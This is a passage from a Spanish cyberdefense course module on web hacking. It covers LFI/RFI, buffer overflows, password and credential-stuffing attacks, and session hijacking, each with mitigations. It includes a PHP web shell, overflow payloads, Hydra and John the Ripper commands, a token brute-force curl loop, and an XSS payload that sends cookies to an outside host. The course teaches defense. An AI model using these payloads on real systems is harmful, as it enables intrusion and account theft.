atacante incluir archivos externos en una aplicación web, lo que puede llevar a la
exposición de archivos sensibles o la ejecución de código remoto. La inclusión de
archivos se da comúnmente en aplicaciones que permiten a los usuarios especificar rutas
de archivo sin una validación adecuada. Este capítulo abarcará los conceptos y técnicas
de LFI y RFI, métodos de explotación, y estrategias de mitigación para proteger las
aplicaciones contra estos ataques.

Conceptos y técnicas

1. Local File Inclusion (LFI): LFI permite al atacante acceder y, en algunos casos,
ejecutar archivos locales en el servidor. Esta vulnerabilidad se presenta cuando
una aplicación permite al usuario definir la ruta de un archivo que luego se incluye
en el procesamiento del servidor sin validación.

o Ejemplo de LFI:
[Link]

o Explicación: al manipular la ruta, el atacante puede acceder a archivos


críticos del sistema, como /etc/passwd en sistemas UNIX, revelando datos
sensibles.

58
Curso de Ciberdefensa
Módulo 4 – Hacking Web

2. Remote File Inclusion (RFI): RFI es una vulnerabilidad que permite a un atacante
incluir archivos desde ubicaciones remotas, ejecutando código en el servidor
objetivo. Esta vulnerabilidad es más peligrosa que LFI, ya que permite la ejecución
de scripts alojados en servidores controlados por el atacante.

o Ejemplo de RFI:
[Link]

o Explicación: al especificar una URL externa, el servidor carga y ejecuta el


archivo remoto, que puede contener código PHP malicioso,
comprometiendo el sistema.

Métodos de explotación y técnicas avanzadas

1. Exploración de directorios y lectura de archivos con LFI:

o Técnica de Directory Traversal: los atacantes explotan LFI para acceder a


archivos sensibles mediante el uso de secuencias como ../../ para navegar
a través de los directorios del sistema.
o Ejemplo avanzado:
[Link]
g

o Objetivo: con esta técnica, los atacantes pueden acceder a registros de


logs, archivos de configuración y otros datos confidenciales que revelen
información sobre la configuración del sistema.

2. Ejecución de código con RFI:

o Inyección de payload remoto: los atacantes hospedan un archivo PHP


malicioso en su propio servidor y, mediante RFI, obligan al servidor
vulnerable a cargar y ejecutar el archivo, obteniendo control sobre el
sistema.
o Ejemplo:
<?php system($_GET['cmd']); ?>

59
Curso de Ciberdefensa
Módulo 4 – Hacking Web

o Explicación: este archivo PHP puede ejecutar comandos arbitrarios en el


servidor cuando se llama con el parámetro cmd. Al incluir este archivo a
través de RFI, el atacante puede ejecutar comandos en el sistema objetivo.

3. Inclusión de archivos locales con PHP Wrappers:

o Técnicas avanzadas con Wrappers: al utilizar envoltorios como php://filter


o data://, los atacantes pueden manipular los datos y los flujos de entrada
y salida del sistema.
o Ejemplo:
[Link]
encode/resource=[Link]

o Explicación: al aplicar un filtro de codificación, el atacante puede obtener


el código fuente de un archivo, lo que le permite examinar la lógica de la
aplicación y descubrir vulnerabilidades adicionales.

Estrategias de mitigación

1. Validación y filtrado de entradas:

o Listas blancas de archivos: limitar los archivos que pueden ser incluidos,
asegurándose de que solo se incluyan archivos de directorios y rutas
permitidos. Por ejemplo, en lugar de permitir rutas arbitrarias, proporcionar
solo nombres de archivos y restringir los directorios accesibles.
o Eliminación de secuencias de Directory Traversal: filtrar caracteres
peligrosos y secuencias como ../ que permiten el acceso a rutas fuera del
directorio base.

2. Deshabilitar inclusiones remotas (para RFI):

60
Curso de Ciberdefensa
Módulo 4 – Hacking Web

o Configuración de PHP: ajustar las configuraciones del servidor para


deshabilitar la inclusión de archivos remotos. Esto evita la ejecución de
archivos externos en el servidor.

allow_url_include=0
allow_url_fopen=0

o Explicación: estas opciones impiden que el servidor PHP incluya archivos


desde URL externas, eliminando la posibilidad de RFI.

3. Sanitización de rutas y restricciones de acceso a archivos:

o Validación de rutas: usar funciones como realpath() en PHP para resolver


la ruta absoluta y verificar que esté dentro de un directorio permitido.
o Uso de variables predeterminadas y constantes: asegurar que solo se
incluyan archivos específicos del servidor, evitando la inclusión dinámica
con datos proporcionados por el usuario.

4. Implementación de monitoreo y alertas:

o Monitoreo de logs de acceso y errores: analizar registros en busca de


patrones sospechosos que indiquen intentos de explotación de LFI o RFI.
o Herramientas de detección: utilizar sistemas de detección de intrusiones
(IDS) para identificar solicitudes sospechosas, como las que contienen
secuencias de directory traversal o URLs externas no autorizadas.

Herramientas y recursos para la detección y la mitigación de LFI y RFI

• Herramientas de prueba:

o Burp Suite: permite interceptar y modificar solicitudes para probar rutas de


inclusión de archivos.
o OWASP ZAP: ofrece un escaneo de vulnerabilidades y soporte para
pruebas manuales de inclusión de archivos.

61
Curso de Ciberdefensa
Módulo 4 – Hacking Web

4.19. Desbordamiento de búfer, introducción, técnicas y ejemplos


prácticos

En este apartado, se analizarán las vulnerabilidades de desbordamiento de búfer, una


falla de seguridad que ocurre cuando un programa escribe más datos en un área de
memoria (búfer) de lo que esta puede contener. Esto permite al atacante sobrescribir
áreas adyacentes de la memoria, comprometiendo la estabilidad de la aplicación y
potencialmente permitiendo la ejecución de código arbitrario. Los desbordamientos de
búfer son comunes en lenguajes de bajo nivel, como C y C++, y se explotan mediante la
manipulación de la memoria del sistema. Este capítulo cubre las técnicas de explotación
y proporciona ejemplos prácticos para ilustrar cómo se aprovechan estas
vulnerabilidades.

Desbordamiento de Buffer. Fuente: Research Gate.

Introducción y técnicas de explotación

Un desbordamiento de búfer se produce cuando los límites de un búfer no se respetan,


permitiendo que datos adicionales se almacenen en áreas de memoria contiguas.

62
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Dependiendo de la ubicación del búfer en la memoria, existen diferentes técnicas de


explotación.

1. Desbordamiento en pila (stack overflow):

o Los búferes en la pila (stack) se utilizan comúnmente para almacenar datos


temporales y locales en funciones. Cuando un desbordamiento afecta a un
búfer en la pila, puede sobrescribir datos críticos como direcciones de
retorno, variables locales y datos de control de flujo.
o Técnica de explotación: manipulando la pila, el atacante sobrescribe la
dirección de retorno de una función para redirigir la ejecución del programa
a un área de memoria controlada, como un shellcode.
o Ejemplo de código vulnerable:

void vulnerable_function(char *input) {


char buffer[10];
strcpy(buffer, input); // Sin verificación de tamaño

o Explicación: si el input contiene más de diez caracteres, se produce un


desbordamiento que puede sobrescribir la dirección de retorno de la
función.

2. Desbordamiento en montón (heap overflow):

o Los búferes en el montón (heap) se utilizan para asignaciones dinámicas de


memoria. A diferencia de la pila, el montón es más flexible y puede tener
tamaño variable. Cuando ocurre un desbordamiento en el montón, es
posible sobrescribir estructuras de datos adyacentes, como punteros o
metadatos del sistema.
o Técnica de explotación: al sobrescribir los metadatos del montón, un
atacante puede redirigir el flujo del programa, modificando punteros y
creando condiciones para ejecutar código malicioso.
o Ejemplo de código vulnerable:

63
Curso de Ciberdefensa
Módulo 4 – Hacking Web

void heap_overflow() {
char *buffer1 = malloc(10);
char *buffer2 = malloc(10);
strcpy(buffer1, "AAAAAAAAAAAAAAAAAAA"); // Desbordamiento
en buffer1
}

o Explicación: el contenido de buffer1 desbordará y sobrescribirá buffer2, lo


que puede permitir la manipulación de buffer2 y cualquier dato sensible
almacenado en esa área.

3. Buffer overflow basado en Off-by-One:

o Este tipo de desbordamiento ocurre cuando un búfer sobrescribe un byte


adicional más allá de sus límites, alterando el siguiente byte de la memoria.
Aunque parece menor, puede tener efectos importantes si ese byte es
parte de una estructura de control o puntero.
o Técnica de explotación: sobrescribiendo un solo byte, los atacantes pueden
manipular la memoria de manera precisa, alterando punteros de retorno o
controlando el flujo de ejecución.
o Ejemplo de código vulnerable:

char buffer[10];
buffer[10] = 'A'; // Off-by-One, sobrescribe el byte adyacente

o Explicación: esta modificación de un solo byte puede afectar punteros o


datos de control, especialmente en arquitecturas que almacenan
direcciones en varias partes.

Ejemplos prácticos de explotación de desbordamiento de búfer

1. Explotación de stack overflow para ejecución de shellcode:

o Caso práctico: un atacante utiliza un desbordamiento de pila para cargar un


shellcode que proporciona acceso a una shell remota. Sobrescribe la
dirección de retorno de una función, redirigiéndola al inicio del shellcode.

64
Curso de Ciberdefensa
Módulo 4 – Hacking Web

o Payload:

(python -c 'print "A"*64 + "\x90\x90\x90\x90" +


"\x48\x56\x34\x12"') | ./vulnerable_program

o Explicación: el atacante inyecta el shellcode en la pila y ajusta la dirección


de retorno para apuntar a la ubicación del shellcode, permitiendo que se
ejecute al finalizar la función.

2. Heap overflow para manipulación de punteros:

o Caso práctico: sobrescribiendo datos en el montón, el atacante altera un


puntero que redirige la ejecución a una ubicación controlada. Esto se puede
lograr modificando estructuras de control en la memoria.
o Payload:
./vulnerable_program $(python -c 'print "A"*64 +
"\x00\x00\x12\x34\x56\x78"')

o Explicación: el ataque manipula punteros en el montón, de modo que


apunten a un código de ejecución arbitrario, permitiendo control sobre el
flujo de la aplicación.

3. Explotación de buffer overflow basado en Off-by-One:

o Caso práctico: al sobrescribir un byte adicional, el atacante modifica el


puntero de retorno para redirigir la ejecución a una función maliciosa o una
sección de código controlada.
o Payload:

buffer[sizeof(buffer)] = 0x7f; // Modifica el byte del


puntero adyacente

o Explicación: con una manipulación mínima, el atacante ajusta un byte


crucial para cambiar el flujo de control de la aplicación.

Estrategias de mitigación para búfer overflow

65
Curso de Ciberdefensa
Módulo 4 – Hacking Web

1. Uso de funciones de manejo seguro de memoria:

o Emplear funciones seguras como strncpy, snprintf o memcpy que limitan la


cantidad de datos copiados, evitando desbordamientos al respetar los
límites del búfer.
o Ejemplo de uso seguro:

char buffer[10];
strncpy(buffer, input, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';

2. Implementación de protección de la memoria (DEP y ASLR):

o Data execution prevention (DEP): configurar la memoria para que ciertas


áreas no sean ejecutables. Esto evita que los datos cargados en el búfer
puedan ejecutarse como código.
o Address space layout randomization (ASLR): impide que el atacante prediga
la ubicación exacta del búfer en la memoria, cambiando aleatoriamente la
disposición de las direcciones de memoria.

3. Fortificación de compiladores:

o Usar opciones de compilación como -fstack-protector en GCC que insertan


canarios de pila, detectando y previniendo desbordamientos al final de la
ejecución de la función.
o Ejemplo en GCC:

gcc -fstack-protector -o programa_seguro programa.c

Prácticas de seguridad y recursos adicionales

• Herramientas de prueba:

o GDB (GNU Debugger): herramienta para analizar la memoria durante la


ejecución del programa y localizar desbordamientos.

66
Curso de Ciberdefensa
Módulo 4 – Hacking Web

o Valgrind: detecta errores de memoria y permite analizar cómo se gestiona


la memoria del programa, ayudando a detectar desbordamientos de búfer.

4.20. Autenticación, autorización y ataques a mecanismos de


autenticación

Este apartado explora los conceptos de autenticación y autorización en el contexto de


la seguridad web, enfocándose en los tipos de ataques que pueden comprometer estos
mecanismos. La autenticación es el proceso mediante el cual un sistema verifica la
identidad de un usuario, mientras que la autorización determina los permisos que ese
usuario tiene una vez autenticado. Ambos son componentes fundamentales para
proteger los recursos de una aplicación web, y su explotación puede llevar a accesos no
autorizados, pérdida de datos y otros impactos de seguridad. En este capítulo, se
analizarán los métodos comunes de ataque y las técnicas de mitigación para fortalecer la
seguridad de los sistemas de autenticación y autorización.

Ataques a mecanismos de autenticación

1. Ataques de fuerza bruta:

o Los ataques de fuerza bruta consisten en probar sistemáticamente


combinaciones de nombre de usuario y contraseña hasta encontrar la
correcta. Este tipo de ataque puede ser altamente efectivo contra cuentas
que usan contraseñas débiles o comunes.
o Herramientas comunes: Hydra, Medusa y John the Ripper son
herramientas que facilitan los ataques de fuerza bruta, automatizando la
generación de combinaciones.
o Ejemplo de ataque:

hydra -l admin -P [Link] http-post-form


[Link]
orrect

67
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Ejemplo de uso de Hydra. Fuente: Techtarget.

2. Ataques de diccionario:

o De forma similar a los ataques de fuerza bruta, los ataques de diccionario


utilizan listas predefinidas de contraseñas comunes para intentar iniciar
sesión en una cuenta. Este ataque se basa en la probabilidad de que
muchos usuarios elijan contraseñas populares y predecibles.
o Recursos comunes: listas de contraseñas como [Link], disponibles en
bases de datos de contraseñas filtradas, se utilizan frecuentemente en
ataques de diccionario.
o Ejemplo de ataque:

john --wordlist=[Link] --rules --format=raw-md5 [Link]

68
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Ejemplo de uso de John The Ripper. Fuente: Wikipedia.

3. Elusión de autenticación multifactor (MFA):

o Los sistemas de autenticación multifactor (MFA) proporcionan una capa


adicional de seguridad, pero existen técnicas para eludir o evitar esta
protección. Estas técnicas incluyen el uso de ataques de ingeniería social,
interceptación de tokens de autenticación o suplantación de métodos de
segundo factor como SMS o aplicaciones de autenticación.
o Ejemplos de técnicas de elusión:
▪ Phishing de código de MFA: el atacante engaña al usuario para que
ingrese el código de autenticación, recibiendo el token y el acceso
temporal.
▪ Interceptación de SMS: aprovecha vulnerabilidades en las redes
móviles para interceptar mensajes SMS que contienen el segundo
factor de autenticación.

4. Relleno de credenciales (credential stuffing):

69
Curso de Ciberdefensa
Módulo 4 – Hacking Web

o Este ataque utiliza combinaciones de nombre de usuario y contraseña


previamente comprometidas de otras aplicaciones para intentar acceder a
cuentas en un sitio diferente. Es efectivo porque muchos usuarios
reutilizan contraseñas entre diferentes servicios.
o Herramientas y listas de credenciales: las combinaciones de credenciales
filtradas en la web se usan con herramientas automáticas que prueban
estas combinaciones contra sitios vulnerables.
o Ejemplo de ataque:

hydra -C [Link] http-post-form


"[Link]
correct"

Estrategias de mitigación para la protección de autenticación y autorización

1. Implementación de políticas de contraseñas fuertes:

o Exigir contraseñas que incluyan combinaciones de letras mayúsculas,


minúsculas, números y caracteres especiales. Además, establecer una
longitud mínima y evitar la reutilización de contraseñas para reducir la
vulnerabilidad a ataques de fuerza bruta y de diccionario.
o Ejemplo de política: contraseñas de al menos 12 caracteres con requisitos
de complejidad.

2. Limitación de intentos de inicio de sesión y bloqueo de cuenta:

o Limitar el número de intentos fallidos de inicio de sesión por cuenta para


prevenir ataques de fuerza bruta. Tras un número determinado de intentos
fallidos, la cuenta puede ser bloqueada temporalmente o hasta que el
usuario la desbloquee.
o Ejemplo de configuración:

faillog -m 5 # Bloquea la cuenta tras 5 intentos fallidos

3. Uso de autenticación multifactor (MFA):

70
Curso de Ciberdefensa
Módulo 4 – Hacking Web

o Implementar MFA como una capa adicional para proteger contra el acceso
no autorizado, requiriendo un segundo factor como una aplicación de
autenticación, token o código SMS.
o Recomendación: utilizar aplicaciones de autenticación basadas en TOTP
(Time-based One-Time Password), como Google Authenticator o Authy, en
lugar de SMS, ya que son menos vulnerables a interceptación.

4. Monitorización y detección de intentos de relleno de credenciales:

o Implementar soluciones de monitoreo y detección para identificar patrones


de relleno de credenciales. Un gran número de intentos fallidos en un corto
período de tiempo o desde varias ubicaciones geográficas son indicadores
de un posible ataque.
o Herramientas de monitoreo: sistemas de detección de intrusiones (IDS) y
herramientas como Fail2ban pueden bloquear IPs que intentan acceder
repetidamente a una cuenta con combinaciones incorrectas.

5. Aplicación de políticas de expiración de sesión y gestión de tokens:

o Limitar la duración de las sesiones activas y requerir la reautenticación tras


un período de inactividad. Además, utilizar tokens de autenticación
seguros, como los basados en JWT (JSON Web Token), y rotarlos
periódicamente.
o Ejemplo de configuración en JWT:
{
"exp": 1638393600, // Tiempo de expiración
"iat": 1638307200 // Hora de emisión
}

Ejemplos prácticos y casos de estudio de ataques de autenticación

1. Caso de fuerza bruta contra una API:

71
Curso de Ciberdefensa
Módulo 4 – Hacking Web

o Escenario: un atacante intenta adivinar contraseñas de una API pública


mediante un ataque de fuerza bruta. La API no tiene limitación de intentos,
lo que permite probar múltiples combinaciones rápidamente.
o Contramedida: implementación de un límite de intentos de inicio de sesión
y una lista blanca de IPs para la API.

2. Ataque de credential stuffing en una plataforma de comercio electrónico:

o Escenario: un atacante utiliza credenciales filtradas de un servicio de redes


sociales para intentar iniciar sesión en cuentas de un sitio de comercio
electrónico. Debido a la reutilización de contraseñas, logra acceso a varias
cuentas.
o Contramedida: monitoreo de intentos fallidos y detección de patrones de
acceso inusuales, junto con la obligatoriedad de MFA.

3. Phishing de códigos MFA en un banco online:

o Escenario: un atacante envía un correo de phishing que redirige a los


usuarios a una página falsa que recopila códigos MFA. Las credenciales y
el código de autenticación son enviados al atacante, quien accede a la
cuenta de la víctima.
o Contramedida: uso de dispositivos físicos de autenticación (como llaves de
seguridad) y sensibilización del usuario sobre los peligros del phishing.

Herramientas y recursos para la protección de autenticación y autorización

• Herramientas de prueba:

o Hydra y John the Ripper: para simular ataques de fuerza bruta y


diccionario.
o Fail2ban: para monitorear y bloquear IPs sospechosas tras varios intentos
fallidos.

72
Curso de Ciberdefensa
Módulo 4 – Hacking Web

4.21. Brute force y diccionario

En este apartado, se analizarán los ataques de fuerza bruta y de diccionario, dos métodos
utilizados para adivinar contraseñas y obtener acceso no autorizado a cuentas de
usuario. Los ataques de fuerza bruta prueban todas las combinaciones posibles de
caracteres hasta encontrar la contraseña correcta, mientras que los ataques de
diccionario se basan en listas predefinidas de contraseñas comunes. Ambos tipos de
ataque representan una amenaza significativa para sistemas con contraseñas débiles o
mal implementadas. Este capítulo explora cómo funcionan estos ataques, las
herramientas comúnmente utilizadas y las técnicas de mitigación para proteger los
sistemas contra ellos.

Ataques de fuerza bruta

1. Concepto y funcionamiento:

o Un ataque de fuerza bruta consiste en probar todas las combinaciones


posibles de caracteres para encontrar la contraseña correcta. La
complejidad del ataque depende de la longitud de la contraseña y de la
combinación de caracteres utilizados (letras, números y caracteres
especiales).

o Ventajas y desventajas:

▪ Ventajas: es efectivo si no hay límites en los intentos de inicio de


sesión y la contraseña es corta o simple.
▪ Desventajas: es lento y consume muchos recursos, especialmente
para contraseñas largas o complejas. Los sistemas con límites de
intentos o medidas de bloqueo hacen que el ataque sea inviable.
o Ejemplo de ataque de fuerza bruta:

hydra -l admin -x 6:8:aA1 http-post-form


"[Link]
correct"

73
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Este comando de Hydra intenta iniciar sesión en una aplicación con el usuario admin,
probando todas las combinaciones de contraseñas de 6 a 8 caracteres con letras
mayúsculas, minúsculas y números.

2. Variantes de ataques de fuerza bruta:

o Ataque de fuerza bruta en línea: prueba las combinaciones de contraseñas


directamente contra el servicio objetivo, por ejemplo, un formulario de
inicio de sesión. Este tipo de ataque es lento y fácilmente detectable si hay
medidas de bloqueo de IP o cuenta.
o Ataque de fuerza bruta fuera de línea: requiere el acceso a un hash de
contraseñas (por ejemplo, en un archivo robado). El atacante intenta
descifrar el hash probando todas las combinaciones posibles sin tener que
interactuar con el sistema objetivo, haciéndolo más rápido y difícil de
detectar.
o Ataque de fuerza bruta distribuido: utiliza múltiples máquinas o IPs para
realizar intentos simultáneos, eludiendo así las restricciones de límite de
intentos y bloqueo por IP.

Ataques de diccionario

1. Concepto y funcionamiento: a diferencia de los ataques de fuerza bruta que


prueban todas las combinaciones, los ataques de diccionario utilizan listas de
contraseñas comunes y populares, como password123 o qwerty. Este tipo de
ataque es rápido, ya que se basa en la probabilidad de que los usuarios utilicen
contraseñas predecibles.

o Ventajas y desventajas: es más rápido que la fuerza bruta, especialmente


para usuarios que usan contraseñas débiles, pero no es efectivo contra
contraseñas complejas y poco comunes que no están en los diccionarios
disponibles.
o Ejemplo de ataque de diccionario:

74
Curso de Ciberdefensa
Módulo 4 – Hacking Web

john --wordlist=[Link] [Link]

Este comando utiliza John the Ripper para probar todas las contraseñas en el archivo
[Link] contra un hash almacenado en [Link].

2. Fuentes de diccionarios comunes:

o [Link]: uno de los diccionarios más populares, que contiene millones


de contraseñas filtradas y comúnmente utilizadas.
o CrackStation: otro recurso con listas de contraseñas extensas, que incluye
variantes de contraseñas simples con números y caracteres especiales.
o Generación de diccionarios personalizados: herramientas como Crunch
permiten generar diccionarios personalizados basados en patrones,
longitudes y combinaciones de caracteres específicos.

Estrategias de mitigación para fuerza bruta y diccionario

1. Limitación de intentos de inicio de sesión:

o Implementar un límite en el número de intentos de inicio de sesión


permitidos en un período de tiempo específico. Esto bloquea la cuenta o la
IP del usuario tras varios intentos fallidos consecutivos.
o Ejemplo de configuración con Fail2ban:

[ssh]
enabled = true
port = ssh
filter = sshd
logpath = /var/log/[Link]
maxretry = 5
bantime = 600

En este ejemplo, Fail2ban bloqueará el acceso al servicio SSH tras cinco intentos
fallidos, con un tiempo de bloqueo de diez minutos.

75
Curso de Ciberdefensa
Módulo 4 – Hacking Web

2. Requisitos de contraseñas fuertes y políticas de longitud:

o Exigir contraseñas con una combinación de letras mayúsculas, minúsculas,


números y caracteres especiales, y establecer una longitud mínima de 12
caracteres para evitar contraseñas predecibles.
o Ejemplo de políticas de contraseñas: requerir al menos un carácter especial
y un número, evitando contraseñas fáciles de adivinar como nombres de
usuario o palabras de diccionario.

3. Uso de autenticación multifactor (MFA):

o Implementar un segundo factor de autenticación, como un código temporal


o una aplicación de autenticación, para garantizar que el acceso no se logre
solamente con la contraseña.
o Tipos de MFA: basado en aplicaciones como Google Authenticator,
dispositivos físicos como YubiKey o autenticación basada en biometría.

4. Hashing seguro y salado de contraseñas:

o Almacenar contraseñas de forma segura utilizando algoritmos de hashing


robustos como bcrypt, scrypt o Argon2. Estos algoritmos incluyen técnicas
de salado que hacen que las contraseñas sean únicas y evitan ataques con
diccionarios precomputados.
o Ejemplo en Python con bcrypt:

import bcrypt
hashed = [Link]([Link]('utf-8'), [Link]())

5. Monitoreo y alerta de intentos de inicio de sesión sospechosos:

o Implementar monitoreo continuo para detectar patrones sospechosos de


inicio de sesión, como múltiples intentos fallidos en un corto periodo de
tiempo o desde ubicaciones geográficas diferentes.

76
Curso de Ciberdefensa
Módulo 4 – Hacking Web

o Herramientas de monitoreo: utilizar sistemas de detección de intrusiones


(IDS) y herramientas como Splunk o ELK Stack para analizar registros de
acceso y detectar anomalías.

Ejemplos prácticos y casos de estudio

1. Caso de ataque de fuerza bruta distribuido contra un servicio de correo


electrónico:

o Escenario: un atacante utiliza múltiples direcciones IP para evitar la


detección mientras intenta acceder a cuentas de correo electrónico. Cada
IP realiza solo unos pocos intentos antes de cambiar.
o Contramedida: implementación de MFA y monitoreo de IPs que detecte
patrones de ataques distribuidos.

2. Ataque de diccionario en una plataforma de redes sociales:

o Escenario: se utiliza el archivo [Link] para probar combinaciones


comunes de nombre de usuario y contraseña en una red social. Se logran
comprometer varias cuentas de usuarios que utilizan contraseñas débiles.
o Contramedida: políticas de contraseñas más fuertes y requisitos de cambio
de contraseña para usuarios con contraseñas comunes.

3. Simulación de fuerza bruta con John the Ripper en un archivo hash:

o Escenario: un equipo de ciberseguridad simula un ataque de fuerza bruta


contra hashes de contraseñas almacenados en un archivo para evaluar la
seguridad de sus políticas de contraseñas.
o Contramedida: implementación de políticas que exijan contraseñas
complejas y hashing seguro con bcrypt.

77
Curso de Ciberdefensa
Módulo 4 – Hacking Web

Herramientas y recursos para proteger contra ataques de fuerza bruta y diccionario

• Herramientas de prueba:

o Hydra y Medusa: para ataques de fuerza bruta en línea.


o John the Ripper y Hashcat: para ataques de diccionario y fuerza bruta fuera
de línea contra hashes de contraseñas.
o Fail2ban: para monitorear y bloquear intentos sospechosos de inicio de
sesión.

4.22. Gestión de sesiones, seguridad en la gestión de sesiones y técnicas


de secuestro de sesión

En este apartado, se explorará la gestión de sesiones en aplicaciones web, un


componente clave para asegurar que las interacciones del usuario se mantengan dentro
de un contexto autenticado y autorizado. La gestión de sesiones implica la creación, el
almacenamiento y la finalización de sesiones de usuario, así como la protección de los
tokens de sesión para prevenir el acceso no autorizado. Este capítulo abarca las mejores
prácticas para la seguridad en la gestión de sesiones y examina las técnicas de secuestro
de sesión que los atacantes utilizan para robar o manipular tokens de sesión, junto con
estrategias de mitigación para proteger las aplicaciones de este tipo de ataques.

Seguridad en la gestión de sesiones

1. Creación segura de tokens de sesión:

o Los tokens de sesión deben ser únicos, impredecibles y suficientemente


largos para evitar que puedan ser adivinados o forzados. Es importante
utilizar un generador de números aleatorios criptográficamente seguro
para la creación de tokens.
o Buenas prácticas:
▪ Usar tokens de al menos 128 bits de longitud.

78
Curso de Ciberdefensa
Módulo 4 – Hacking Web

▪ Utilizar bibliotecas y funciones seguras para la generación de


tokens, como openssl_random_pseudo_bytes en PHP o
SecureRandom en Java.
o Ejemplo en Python:

import secrets
token = secrets.token_urlsafe(32)

2. Almacenamiento seguro de tokens de sesión:

o Los tokens de sesión deben almacenarse de manera segura en el navegador


y transmitirse a través de canales seguros para evitar su interceptación. La
configuración de cookies es fundamental para proteger estos tokens.
o Configuraciones recomendadas de cookies:
▪ HttpOnly: impide el acceso al token desde JavaScript,
protegiéndolo contra ataques XSS.
▪ Secure: asegura que el token solo se transmita a través de
conexiones HTTPS.
▪ SameSite: restricción para que las cookies no se envíen en
solicitudes de sitios de terceros, mitigando ataques CSRF.
▪ Ejemplo de configuración:

Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict

3. Expiración y revocación de sesiones:

o Las sesiones deben tener un tiempo de expiración adecuado y se deben


revocar cuando el usuario cierra sesión o después de un periodo de
inactividad. Esto reduce el riesgo de uso no autorizado si un token de
sesión es robado.
o Políticas de expiración:
▪ Sesiones de corta duración (20-30 minutos) para usuarios inactivos.
▪ Invalidación automática del token tras el cierre de sesión.

79
Curso de Ciberdefensa
Módulo 4 – Hacking Web

o Implementación de expiración de sesiones en PHP:

session_set_cookie_params(1800); // Expira en 30 minutos


session_start();

4. Regeneración de tokens de sesión:

o Al autenticar a un usuario o cambiar privilegios, se debe regenerar el token


de sesión para evitar ataques de fijación de sesión, en los que el atacante
fuerza a la víctima a utilizar un token de sesión conocido.
o Ejemplo de regeneración en PHP:

session_regenerate_id(true);

Técnicas de secuestro de sesión

1. Fijación de sesión (session fixation):

o El atacante manipula a la víctima para que inicie sesión con un token de


sesión que el atacante conoce. Una vez que la víctima se autentica, el
atacante usa el mismo token para acceder a la cuenta autenticada.
o Técnica: el atacante envía un enlace con un token de sesión predefinido y
si la víctima inicia sesión, el atacante puede acceder a la sesión.
o Ejemplo de enlace manipulado:

[Link]

2. Secuestro de sesión mediante Cross-Site Scripting (XSS):

o Al explotar una vulnerabilidad XSS, el atacante inyecta un script en el sitio


web de la víctima, robando el token de sesión almacenado en la cookie.
o Ejemplo de Payload de XSS:

<script>
var img = new Image();
[Link] = "[Link] + [Link];
</script>

80
Curso de Ciberdefensa
Módulo 4 – Hacking Web

o Mitigación: asegurar que las cookies sean HttpOnly y utilizar políticas CSP
para restringir la ejecución de scripts.

3. Ataques de fuerza bruta contra tokens de sesión:

o Los tokens de sesión predecibles o de baja entropía pueden ser vulnerables


a ataques de fuerza bruta, donde el atacante intenta adivinar el token hasta
que obtiene acceso.
o Técnica: el atacante prueba múltiples tokens de sesión hasta que encuentra
uno válido, lo que le permite acceder a la sesión de otro usuario.
o Ejemplo:

for token in $(cat [Link]); do


curl -b "sessionid=$token" [Link]
done

4. Interceptación de tokens de sesión en tránsito (Man-in-the-Middle):

o Si los tokens de sesión se transmiten sin cifrar (por ejemplo, en HTTP),


pueden ser interceptados por atacantes que escuchen el tráfico de la red,
permitiendo el acceso a la sesión del usuario.
o Mitigación: utilizar HTTPS para cifrar el tráfico de red, impidiendo la
interceptación de tokens de sesión.

Estrategias de mitigación para el secuestro de sesión

1. Uso exclusivo de HTTPS para transmisión de sesiones:

o Asegurar que todas las comunicaciones que incluyen tokens de sesión se


realicen a través de HTTPS, protegiendo los datos contra ataques de
interceptación.
o Implementación de certificados SSL: configurar el servidor para redirigir
todo el tráfico a HTTPS, evitando el acceso a HTTP.

81
Curso de Ciberdefensa
Módulo 4 – Hacking Web

2. Aplicación de cookies seguras y configuración de SameSite:

o Las cookies deben configurarse con los atributos Secure, HttpOnly y


SameSite para mitigar el riesgo de exposición a través de XSS y CSRF.
o Ejemplo de configuración de cookies:

Set-Cookie: sessionid=securetoken; HttpOnly; Secure;


SameSite=Strict

3. Monitoreo de actividad de sesión y detección de anomalías:

o Implementar monitoreo continuo para identificar patrones sospechosos de


actividad de sesión, como cambios de IP o intentos de acceso desde
múltiples ubicaciones.
o Herramientas de monitoreo: usar sistemas como Splunk o ELK Stack para
analizar registros de sesión y detectar accesos inusuales.

4. Políticas de expiración y revocación de sesiones:

o Las sesiones deben caducar automáticamente después de un periodo de


inactividad y ser revocadas al cerrar sesión. Además, es útil permitir a los
usuarios la opción de cerrar todas las sesiones activas desde una página de
configuración.
o Implementación de expiración y revocación:

// Expiración automática tras 30 minutos de inactividad


if (time() - $_SESSION['last_activity'] > 1800) {
session_unset();
session_destroy();
}
$_SESSION['last_activity'] = time();

Ejemplos prácticos y casos de estudio

1. Caso de secuestro de sesión mediante XSS:

82
Curso de Ciberdefensa
Módulo 4 – Hacking Web

o Escenario: un atacante inyecta un script en un foro que captura el token de


sesión de cada usuario que visualiza la publicación. El atacante utiliza los
tokens robados para acceder a cuentas de usuario.
o Contramedida: configuración de cookies como HttpOnly y validación de
entradas para prevenir XSS.

2. Fijación de sesión en un sistema de autenticación:

o Escenario: un atacante envía a la víctima un enlace con un token de sesión


conocido. La víctima inicia sesión y el atacante utiliza el mismo token para
acceder a la cuenta.
o Contramedida: regeneración de tokens de sesión tras el inicio de sesión.

3. Secuestro de sesión a través de interceptación en una red pública:

o Escenario: un atacante en una red pública intercepta un token de sesión


transmitido en HTTP y accede a la cuenta de la víctima.
o Contramedida: uso exclusivo de HTTPS y establecimiento de políticas de
seguridad en redes públicas.

Herramientas y recursos para proteger la gestión de sesiones

• Herramientas de prueba:

o Burp Suite: para interceptar y analizar tokens de sesión y comprobar


configuraciones de cookies.
o Wireshark: para detectar transmisiones de tokens en HTTP y analizar la
seguridad de las sesiones.

83
Curso de Ciberdefensa
Módulo 4 – Hacking Web

4.23. Revisión de código estático y dinámico, análisis manual y


automatizado y herramientas de análisis de código

En este apartado, se explorarán las técnicas y las herramientas utilizadas para la revisión
de código estático y dinámico, dos enfoques fundamentales para identificar
vulnerabilidades en aplicaciones web antes de que sean explotadas. El análisis estático
evalúa el código fuente sin ejecutarlo, mientras que el análisis dinámico examina el
comportamiento de la aplicación en tiempo de ejecución. Ambos métodos, tanto en
forma manual como automatizada, son esenciales para asegurar la integridad y la
